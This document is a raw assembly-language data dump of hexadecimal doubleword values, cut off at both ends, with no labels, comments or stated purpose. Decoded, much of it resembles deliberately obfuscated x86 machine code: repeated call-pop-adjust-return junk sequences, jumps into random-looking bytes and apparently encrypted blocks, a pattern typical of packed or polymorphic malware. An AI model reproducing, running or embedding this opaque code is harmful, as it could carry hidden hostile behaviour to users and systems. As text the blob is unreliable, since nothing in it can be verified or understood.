0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0B9C35242h, 0DC3E627Ah dd 31D88BB7h, 316B99Dh, 9D8B6006h, 6032F61h, 3029BD8Bh dd 68610603h, 0EEA3BCA4h, 5BDE8B53h, 5B240481h, 80117B47h dd 95FF3EE7h, 6032E71h, 8589FA8Bh, 606A703h, 22119D8Bh dd 8C0F0603h, 0Ch, 6850Fh, 8D890000h, 6030865h, 1F6E9h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 0CB71D67Bh, 31158529h, 858B0603h, 606A6FBh dd 0C7C9B7h, 18h, 215DBD89h, 0B58B0603h, 606A6FFh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0E6C35343h, 0D7450D1Eh dd 0DAB70F3Ch, 1F89858Bh, 6A0603h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 0B3CBFDC3h, 318D8008h dd 32AB19Dh, 81068906h, 3DBC1FC7h, 0AD858B68h, 6A060309h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 0CD69C355h, 0E78C4520h, 29566057h, 4689F88Bh dd 56006A04h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h dd 0C3564600h, 7824B00Eh, 0CC971444h, 8B964640h, 9CBB50DFh dd 966341EEh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 97C35343h, 0C4F623B1h, 0F8615B4h, 38Ah, 0DFBF0F00h dd 4BF3E9BFh, 0FBB5FF6Eh, 560606A6h, 25E59D89h, 685B0603h dd 540B9424h, 8E0F5250h, 2, 310FFB8Bh, 3481585Ah, 1497DB24h dd 50006A54h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 0D89E2DEDh, 8B41BCD5h, 3858DFBh, 6A0606A7h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 0E4CBC353h, 0E611DE3Fh, 0FF357F0h, 58Eh dd 2565BF00h, 0B5310399h, 603086Dh, 66525090h, 310FDF8Bh dd 5E8h, 1E7D9400h, 5B57559Ah, 50585A5Fh, 55006A90h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 0B794E22Bh, 0FFDF8BC0h, 32E7195h, 999D8B06h, 6106030Ch dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0A6C35040h dd 0DBB7A800h, 7185C7h, 30603h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 0D9B322C3h dd 0A703BD83h, 0F000606h, 8F84h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 8D89F592h dd 60317FDh, 13E8h, 57533B00h, 0F4EAC41Ch, 6786CB5Ah, 0B5D2BC70h dd 0EFE794D2h, 26A58D89h, 0E85B0603h, 0Ch, 0D1576EE1h dd 408328F0h, 215B6897h, 6850Fh, 0B5290000h, 6032E39h dd 45E95Bh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 8AFCEFC3h, 5379FA11h, 23099D29h dd 0FA8B0603h, 110C3050h, 1114400h, 3010E8C1h, 21144h dd 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h dd 0EBE77504h, 6AC08B00h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 0FAEC351h, 284h, 1FA8B00h dd 30C5D95h, 45858906h, 83060325h, 30071BDh, 850F0306h dd 410h, 0BD83DF8Bh, 606A703h, 1840F00h, 1000004h, 3083D85h dd 3B5FF06h, 6A0606A7h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 0E487C352h, 7595FF3Bh dd 8106032Ah, 0DE80D4CBh, 0F7B58B2Fh, 6A0606A6h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 1C12C355h, 76985171h, 0BA815E8Dh, 36DB589h, 6C70603h dd 10001h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 3FC35343h, 81EBEA85h, 0EDD289E3h, 8B66962Bh, 13E950FAh dd 15000000h, 0E4B59438h, 5F116971h, 5192D1E9h, 0F1723DBBh dd 6A96F219h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 0FF49C353h, 6A703B5h, 4995FF06h dd 6A060324h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 8BD4C357h, 10E9D9h, 42F00000h dd 335730D9h, 945C1F86h, 49912999h, 0B58BB60Dh, 606A6F7h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0AFC35545h dd 0BBB19FBAh, 8BAB30DDh, 320019Dh, 31858B06h, 89060331h dd 32F35B5h, 0C4868906h, 0E9000000h, 9, 588832DBh, 5B4A5F5Ch dd 0A5958B5Bh, 0E8060320h, 14h, 26CDBF0Bh, 146E4CEFh, 20829081h dd 87471E20h, 0D9C54D0Fh, 4C2835Fh, 11E8h, 250CB500h, 0A134A1E4h dd 3C924AA4h, 73E2D805h, 0B589C618h dd 603266Dh, 2050895Bh, 0CE9h, 8B972900h, 78223524h, 339F2CA2h dd 16858DCEh, 6A0606BBh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 0BBE3C350h, 12FB4977h dd 7C46A794h, 3159D8Bh, 89F90603h, 0B886h, 0C840F00h, 0F000000h dd 686h, 800F00h, 6A000000h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 0EEBB98CEh dd 0FF0C8F04h, 6A703B5h, 35BD8B06h, 0E906031Dh, 0Dh, 787D3620h dd 80AB6807h, 589B2216h, 0FD95FF79h, 6A06030Ch, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 8EC4C353h, 0C4D0E24Fh, 96D8BA5Eh, 6E8h, 0E19FEA00h dd 66092D86h, 505BFB8Bh, 78F0Fh, 8B600000h, 0F28B66D7h dd 6A9661h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 78274DC3h, 84EBD571h, 5E9F0h, 0B0430000h dd 0FFC2E1C3h, 6A703B5h, 35BD8B06h, 0FF060317h, 32E7D95h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 9746045h, 0D3816671h, 0BD83A834h, 60326C9h dd 4E840F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 4C31C356h, 8B151308h dd 2955BD89h, 66500603h, 3489F88Bh, 53006A24h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 0BF0F7E03h dd 3B5FFDBh, 8B0606A7h, 325719Dh, 0B995FF06h, 1060314h dd 305D985h, 3B5FF06h, 890606A7h, 30F5595h, 9595FF06h dd 8106030Ch, 3A8817C7h, 0D5BD2367h, 83060316h, 32D4DBDh dd 840F0206h, 45h, 0D850Fh, 8E90000h, 81000000h, 0BAFE1295h dd 8B327CF8h, 323ED85h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 2052B746h, 63BA2B90h dd 53CBBF4Eh, 0C6190Fh, 8185C700h, 60330h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 6227C352h, 0A6F8B429h, 5E9B952h, 0C3000000h, 0BC8DBC41h dd 0FFF3FCE9h, 56006AFFh, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 2E8F7BA2h, 8D89073Dh dd 6032AD5h, 89F5C18Bh, 30DC5BDh, 9858D06h, 6A060313h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h dd 40000000h, 6F29C350h, 0BB503498h, 66CBB939h, 89240489h dd 307C5B5h, 8B006A06h, 6A006AFAh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 5868C356h dd 66977ABCh, 8D8123BBh, 825C385h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 0F266BB36h dd 0C0830643h, 0D88B6605h, 89DA8B50h, 0FC602404h, 0E9006A61h dd 0Ch, 2CE024D8h, 0F4B37755h, 11BFBF2Dh, 10E9006Ah, 2F000000h dd 30071095h, 0C511CF75h, 0F2057E95h, 0FFCEC658h, 31DF995h dd 8DD88B06h, 699338Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1C04h, 0C3574700h, 936FEAA1h, 62B4CB20h dd 1D9589E8h, 0FF060304h, 51006AD1h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 2638D761h dd 8971A32Ch, 314358Dh, 12E906h, 308F0000h, 2571688Dh dd 48086BB7h, 0AE3683F6h, 0DC0B2EF5h, 1D89BD83h, 0F010603h dd 9F85h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1404h, 0C3504000h, 8B026A3Dh, 30A85BDh, 0CE89006h, 22000000h dd 0A3E56BD2h, 0E0C46238h, 66F2B08Ch, 505FDE8Bh, 50006A90h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 75C32409h, 412D0E50h, 0BE9h, 4C36A100h, 0A01FFA87h dd 68EE5A29h, 0E45B589h, 95FF0603h, 6030CFDh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0E3C35545h, 52586EA8h dd 7E5CA94Bh, 0D6BE9h, 0E800h, 815D0000h, 825CDEDh, 59BD8B06h dd 31060313h, 30C8185h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 0D18ABC08h, 0D98BE74Dh dd 0CE9h, 7F463800h, 0F41F6E79h, 57648579h, 858D77h, 0E8060691h dd 0Eh, 0A9D9480h, 196CFCF9h, 46D49AE7h, 11E8B053h, 2F000000h dd 687C2E4Ch, 0B045EC6h, 9EB7B242h, 583849E2h, 16C5B589h dd 5F5B0603h, 0BB525050h, 3D4A73A5h, 6060310Fh, 585A6161h dd 0E9240489h, 7, 6A2CFFFCh, 2B12847Dh, 30A69BDh, 35FF6406h dd 0 dd 2035BD89h, 89640603h, 25h, 99BD8B00h, 8906032Dh, 30B858Dh dd 185FF06h, 8B06031Dh, 8BFF6AD9h, 325399Dh, 45B5FF06h dd 6606031Bh, 9CC6E781h, 1B4D95FFh, 22E90603h, 66000001h dd 0B0FC2EBFh, 0DFBF0F00h, 14E970E6h, 84000000h, 0B80FCCF4h dd 0B418A160h, 0F4615F19h, 0ED60E2Bh, 0E41D649Bh, 0B3F88B71h dd 0F613CACh, 0F083h, 0DAB70F00h, 66C8B60Fh, 0AE39D781h dd 0E58D8953h, 5F06031Ch, 6BAh, 8B53B700h, 6E9C1h, 0BDBC0000h dd 12C484AFh, 8B04E8C1h, 322099Dh, 0B70F5006h, 0F7665FDBh dd 9B71BBE2h, 0BD8B657Fh, 603033Dh, 890FC82Bh, 7, 2727BF51h dd 8B5F04FDh, 0B2E380D1h, 0AD17BF66h, 90E9h, 4C858B00h dd 8B494755h, 7C083FEh, 30618D09h, 0C0830603h, 0AD9D8900h dd 3B06030Dh, 14830FD0h, 8B000000h, 302E5BDh, 959D8B06h dd 0E9060325h, 5Dh, 8BD88B66h, 0FFFFFF8Dh, 0CE9FFh, 858D0000h dd 57BC6330h, 4003671Fh, 0E1835B17h, 3A840F01h, 8B000000h dd 32411BDh, 0FFA58306h, 0FEFFFFFFh, 9589DF8Bh, 4947554Ch dd 1A8C0Fh, 8B600000h, 32211BDh, 0DE906h, 9F9F0000h, 0F647170Ch dd 0D4B708D0h, 61C9F86Dh, 0E9h, 12B58D00h, 6A0607A8h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 0C620C356h, 40226D46h, 575B523Ch, 2BDF8166h, 6A5F84h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0FBC35646h dd 0B4B4C5B6h, 8DD38105h, 0FF73292Eh, 323A595h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 57095296h, 7E1A0642h, 13E93Ch, 7BE80000h, 255FFDFDh dd 76FDE95h, 9B40D7F9h, 0DE0E43A6h, 0B96DB392h, 0E6Fh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 86C35747h dd 0FCE1831Bh, 0FD05BB66h, 0F98B66FCh, 0B8h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 7A038179h, 0A14D33B4h, 6AD22BC3h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 7513C353h dd 0E53E9D20h, 4D9D09D8h, 0AD060306h, 0E8D1C233h, 0E983D003h dd 0FF47504h, 28Eh, 6AFE8A00h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 6FFFC350h, 0C2D6EA9Eh dd 64C0189Dh, 8E9h, 4DDA7900h, 0B3B56E2h, 880D8Bh, 810F0000h dd 6, 86D9589h, 958B0603h, 60320A5h, 14E9h, 0F6909500h dd 0B5D754DBh, 7E334F45h, 4537861Bh, 8CBC8AC9h, 8D8BF9CCh dd 6031A65h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 0ADC35141h, 0B35EAF97h, 8BC28B50h, 8BC10318h, 0D1C18B18h dd 8BC203E8h, 8D0F5818h, 6, 12C19589h, 10E80603h, 1E000000h dd 0D34CA258h, 1394AE27h, 794B2E1h, 66F5DC84h, 605FF88Bh dd 60CA8B66h, 2AB9BD8Bh, 5B510603h, 0BD836161h, 603210Dh dd 23840F00h, 89000000h, 30DBD8Dh, 0B806h, 0B70F0000h dd 6ABF66D8h, 698D8DFCh, 6606034Dh, 0E1FFF98Bh, 20959D31h dd 0BD830603h, 6030071h, 65840F00h, 6A000004h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 2309C357h, 0F34B2C8Eh, 66C54061h, 83D761BFh, 30071BDh dd 840F0106h, 44Bh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 18h, 0E7C35141h, 3894BDCBh, 6426BB66h, 8898501h dd 0BD830603h, 6030071h, 0DE860F03h, 6A000003h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 0BD56C353h, 1BAA52F1h, 75BD8912h, 6006030Bh, 29B99529h dd 8C660603h, 0AE9D9h, 3F6D0000h, 0A6E2BDA1h, 0D5467E64h dd 6604E180h, 0ABD13BFh, 65840FC9h, 6A000001h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 2817C351h, 8BD8B70Fh, 309AD85h, 6E906h, 4F060000h, 84BE6DEAh dd 1A598533h, 6A0603h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 907EA8C3h, 88F0Fh, 800F0000h, 2 dd 0E8506160h, 5, 3956F0FFh, 0CE86Eh, 214E0000h, 32C4242Ch dd 9D40C94Bh, 8B66BA1Eh, 905B5FDFh, 15F59D8Bh, 6A0603h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 3FC35040h dd 10D239A2h, 0E701BB52h, 665F4E73h, 0E8FB49BFh, 4, 1F03FFh dd 8E9h, 0AF2D2400h, 4EFE3E74h, 7E950CAh, 0BB000000h, 0E6029C14h dd 448BDA63h, 0ADBB0424h, 8B1275A3h, 0F98B6600h, 4244489h dd 58D98B66h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 18h, 0D7C35242h, 0A60F1A71h, 6E8h, 0A5BC9900h, 8BF02986h dd 3244DBDh, 0BD8B5B06h, 603098Dh, 10019D33h, 95FF0603h dd 6032E71h, 2C558501h, 85890603h, 606A703h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0FAC35646h, 19FE9h dd 0FB8B6600h, 0A6FB858Bh, 0BF660606h, 0C76294h, 18h, 0AE9h dd 97DD2000h, 0C1ABA71Fh, 8B4D91E5h, 32EFD9Dh, 0FFB58B06h dd 6A0606A6h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 602AC351h, 61FBB70Fh, 1F89858Bh dd 0BD8B0603h, 6032F25h, 6A0689h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 0E16BBEC3h, 266E4E9Ah dd 958D0B60h, 8B06031Bh, 307618Dh, 858B6106h, 60309ADh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 35C35343h dd 46893BEAh, 57006A04h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 0D4F7D963h, 0B70F9F2Dh, 850FFEh dd 96000000h, 50F88B66h, 9E9h, 0CA58B600h, 727EF89Ch, 0F968BB4h dd 68Dh, 3DB58900h, 0E9060304h, 0Bh, 9F0C074Ch, 78A008D3h dd 0FF6C3AD0h, 6A6FBB5h, 0F9850106h, 68060326h, 3C42928Dh dd 3481DD8Ah, 5D917224h, 0B9B5893Ch, 8D06032Ah, 6A70385h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 0FF660B7h, 182h, 6650F900h, 489DE8Bh, 55006A24h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 28537E3Bh, 3DFA5D2Ch, 9E960h, 97E20000h, 4921751Ah dd 8B7AB3FDh, 30FADB5h, 95FF6106h, 6032E71h, 55006A61h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 0BB776DEDh, 0DE8B666Bh, 7185C7h, 30603h, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 0BF6FC6C3h, 0F725B1C1h, 813B9050h, 0D548E7D3h, 3BD8308h dd 606A7h, 27840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 21E92AC3h, 8B000000h dd 30F719Dh, 0C305006h, 11440011h, 10E8C101h, 2114430h dd 3114C00h, 4E98358h dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h dd 1116428h, 83110430h, 0E77504E9h, 0C08B00EBh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0E5C35040h, 9D89D36Eh dd 6031949h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 0F5C35343h, 7F17D451h, 0D3F585C0h, 71BD83BEh, 3060300h dd 3D0850Fh, 70BF0000h, 0F5180194h, 0A703BD83h, 0F000606h dd 3BD84h, 6D958900h, 0FF060322h, 6A703B5h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 9B5548FDh, 0DF8B6665h, 355B529h, 95FF0603h, 6032A75h dd 0A6F7B58Bh, 6A0606h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 436F5AC3h, 32A042E1h, 0C7FE8B66h dd 1000106h, 11BD8B00h, 2B060322h, 330D59Dh, 0BE95006h dd 0F0000000h, 12CDF357h, 619F6A06h, 3489B0B4h, 57006A24h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 5C253485h, 0BDBF3B9Ah, 0C880Fh, 7E90000h, 3C000000h dd 0E33B2EE5h, 0B5FF9FCFh, 606A703h, 6890Fh, 9D090000h dd 6032309h, 244995FFh, 6A0603h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 672D0CC3h, 210A55A1h dd 89F04DD0h, 32D31BDh, 0DAB70F06h, 8BDE8B66h, 6A6F7B5h dd 0DF816606h, 0D7B7350Ah, 3131858Bh, 86890603h, 0C4h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 1BC35646h dd 11E9370Ah, 0CD000000h, 7DD83695h, 1FDE45BAh, 55536164h dd 7AFCBFF4h, 20A5958Bh, 0B5290603h, 6032705h, 8104C283h dd 0B536EDD3h, 2050890Bh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 14h, 0DBC35040h, 0BB16858Dh, 6A0606h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 4BACD5C3h, 86891373h, 0B8h, 1315BD8Bh, 81660603h, 6ADC52D7h dd 3B5FF00h, 6A0606A7h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 0EC4BC355h, 2379AA48h dd 95FF933Eh, 6030CFDh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 94C35646h, 0E20B0CAh, 6651967Dh, 505BFE8Bh dd 50006A96h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 7AF03309h, 0CFB75263h, 69BD035Bh, 0FF060320h dd 6A703B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 7469045h, 0E866D656h, 14h, 0FEB13828h dd 0E8728ADFh, 3492B23Fh, 2926858h, 0FBE5334Ch, 0E225CDBFh dd 95FF5F12h, 6032E7Dh, 0E8FA8B66h, 0Ah, 46543C33h, 17AC41D3h dd 835FB8E7h, 326C9BDh, 840F0006h, 35h, 50DABF0Fh, 0DE9h dd 0B218FF00h, 15595365h, 53596949h, 3489C14Dh, 56006A24h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 3B5FF6Eh, 6A0606A7h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 0F80CC357h, 2870F4Eh dd 8B000000h, 0B995FFFEh, 8B060314h, 30929BDh, 4DB58906h dd 0FF060326h, 6A703B5h, 5880F06h, 66000000h, 7365D781h dd 0C9595FFh, 6A0603h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 89DDFEC3h, 32F4595h, 4DBD8306h dd 206032Dh, 3C840Fh, 0B70F0000h, 0ED858BD9h, 60060323h dd 66585660h, 0C5B6F181h, 12E961h, 10A30000h, 41DD92A5h dd 24A33116h, 7A88948Dh, 2D466CBh, 4820F61h, 66000000h dd 0C6EA72BBh, 0BB660000h, 85C779A1h, 6033081h, 0 dd 5E9h, 9235200h, 0BAE92DC6h, 6AFFFFF3h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 8A46C352h dd 880FEA83h, 6, 2CB19D31h, 0C18B0603h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Ah, 66C35545h, 1AD31195h dd 0B5311A39h, 6030C7Dh, 9E8h, 526A9B00h, 54A652B5h, 0B96655F0h dd 8B5B2328h, 31999BDh, 0BEC38106h, 0E9000068h, 11h, 28034F95h dd 6F762ABCh, 0E041BFEFh, 370505A3h, 0BA7Ah, 0BF660000h dd 48BCD93h, 0A3C08113h, 0E970334Bh, 0Dh, 0CE4F2AA7h, 6DEED9B8h dd 1F4673Ah, 58F08126h, 0E967F41Ah, 0Fh, 36D5CA83h, 8A513318h dd 0C936E454h, 8164C305h, 7D3071F0h, 718D8B4Bh, 89060303h dd 880F1304h, 1, 830BB5F5h, 896004EAh, 3195D95h, 0D18D2906h dd 61060302h, 9810FA81h, 850FFFFFh, 19h, 28E943B1h, 90000000h dd 5684B1BEh, 316A98A5h, 0D58F88AFh, 8D755E19h, 6BF66DBh dd 0FF74E9F4h, 54B7FFFFh, 7D49A113h, 848AA61h, 8DDBEE1Fh dd 834E48Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1804h, 0C3504000h, 0C35FAB95h, 13E9C6h, 3CDA0000h, 0C46E3C8Dh dd 13B0F3ECh, 0D25875Dh, 0EFACF9DAh, 0A58D89B2h, 8B060320h dd 3164985h, 6585C706h, 9806031Ah, 6A00006Ch, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 0E01DC353h, 1C9981AFh, 3E359826h, 236DB58Bh, 85C70603h dd 6030071h, 0 dd 78F0Fh, 850F0000h, 1, 21B5FFF9h, 6A060320h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 3275C351h, 8A0FB492h, 6, 25818D89h, 85290603h, 6031CD5h dd 171D95FFh, 6A0603h, 23A595FFh, 0C08B0603h, 0AE0A09EBh dd 79706A81h, 8DC04C09h, 835B48Dh, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 0A160B80Fh dd 5F19B418h, 59950961h, 0F06030Bh, 0B88h, 58F0F00h, 66000000h dd 82C3E381h, 20A58D89h, 0BF0F0603h, 6585C7F6h, 9406031Ah dd 6600006Ch, 0B529EA81h, 7185C7h, 603h, 89600000h, 322D58Dh dd 6E86006h, 0D9000000h, 0DA1A9A95h, 0EA805A20h, 0FF616180h dd 30BE1B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1D04h, 0C3574700h, 93CF8787h, 5AC06E80h, 7E9FE4Fh, 19000000h dd 0BF58317Dh, 95FF96F0h, 603171Dh, 6AADB4h, 23A595FFh dd 0C08B0603h, 31B42EEBh, 0D42C71h, 0A527F096h, 595AF29Fh dd 59783F6Eh, 3B37CCFCh, 818D6BFAh, 7C516DCFh, 83CCC8D5h dd 0DB524884h, 6A8ABB0h, 0C17082C0h, 64BB3920h, 67083138h dd 0C28EEA9Ch, 0E0A9A07h, 10C2B80h, 540E5802h, 10E31E9h dd 0C2531280h, 2562BB1Dh, 254AB324h, 10E2714h, 0C25B7708h dd 8C87E960h, 70D243Bh, 5438F82h, 0E0E3483h, 10E61C4h dd 540E5820h, 10E31F8h, 0C2531208h, 2562BB59h, 254AB306h dd 10E2505h, 0C25B7780h, 0AF9E4F9Eh, 5F3AFABh, 0BEE73413h dd 6B0E3209h, 2E66504h, 210E3202h, 8851F15Eh, 800A16FCh dd 140A1604h, 460E3220h, 936F147h, 108B407h, 8C273204h dd 70D186Bh, 0AF0A8891h, 915E1F6Dh, 108B04Fh, 0BC873220h dd 70D1D85h, 25423307h, 520E58FAh, 10E31EAh, 0C2551201h dd 2552BBDBh, 254AB344h, 10E2624h, 0C25D7110h, 0C9B1BF0h dd 59083117h, 0C18DCC88h, 149BB92Dh, 8A0831A3h, 570E5848h dd 10E31C8h, 0C2501210h, 257ABB56h, 254AB300h, 10E2406h dd 0C2587401h, 30E13EF7h, 206EBF5h, 0D4BB3926h, 67083104h dd 6BF27A83h, 2E66104h, 210E3202h, 8855F15Ah, 800A16DCh dd 1D0A1604h, 420E3220h, 7770F143h, 30262C13h, 8AA97799h dd 388F54F2h, 8501CD37h, 10E32FFh, 8206E1C0h, 80683BE1h dd 0E65FDCEh, 10E3284h, 0E837B204h, 1DAB70Dh, 0B4873201h dd 70D3BD5h, 108B64Fh, 0C68F3220h, 22C95CB9h, 0B70F7383h dd 0E8C631F0h, 10E3210h, 1E2366B8h, 0AB66B23Dh, 979D3759h dd 56495C31h, 0D1B0DFD0h, 8253D739h, 16437C5h, 10DDA52h dd 592E3201h, 45876A43h, 458F3664h, 1163604h, 514E3210h dd 7E8CDCBh, 80F6DDE2h, 4245A23Bh, 6E8B3D8Ah, 8C0E3280h dd 2435BCDh, 530E5826h, 10E31F8h, 0C2541208h, 255ABB5Eh dd 254AB306h, 10E2B05h, 0C25C7080h, 9750FA77h, 0EF8FE916h dd 4B4E3AB1h, 10E31B0h, 808B1B04h, 0FE08311Fh, 560E58E0h dd 10E3168h, 0C2511240h, 2572BB7Fh, 254AB314h, 10E2F0Ch dd 0C2597504h, 0C8C790ADh, 561FE3A7h, 6E6879Ah, 0F90E3240h dd 2DC78C4h, 67502EADh, 6B6FED83h, 2E66404h, 210E3202h dd 8850F15Fh, 800A16F4h, 180A1604h, 470E3220h, 9EF4F146h dd 6A102EF9h, 108BC0Bh, 9C853202h, 70D35F4h, 34E98F0Dh dd 8C833448h, 7060A7Fh, 938D46A8h, 9C8B0109h, 2A083119h dd 3E7F3CDh, 64BB3920h, 67083138h, 0C28EEA9Ch, 0E0A9A07h dd 10C2B80h, 540E5802h, 0F305E983h, 89C08BA4h, 32D3195h dd 13E806h, 27DC0000h, 0F6247651h, 0A8F66F47h, 302F40ABh dd 0F7AB4DEDh, 5ADD8A06h, 11E8C38Bh, 1D000000h, 18297ED1h dd 2FD1FCACh, 7CA7DA7Bh, 6EAAD7D3h, 26D98166h, 8E85BCCh dd 0D000000h, 25773778h, 0BE3DA57Dh, 3C6C3926h, 68C38158h dd 8900006Eh, 3008995h, 1B6D6806h, 84B00000h, 8BC18B5Ah dd 8117B43Bh, 53DD9F7h, 0F3BF0F0Bh, 391DEF81h, 0F604AB5h dd 0F85h, 9E800h, 1B4B0000h, 9EEB779Dh, 5B6119CEh, 15A59509h dd 81610603h, 0EA1C6CC7h, 29B58B24h, 8906031Eh, 80B8663Bh dd 76EB810Bh, 0E9752E48h, 0Ch, 8F561EE1h, 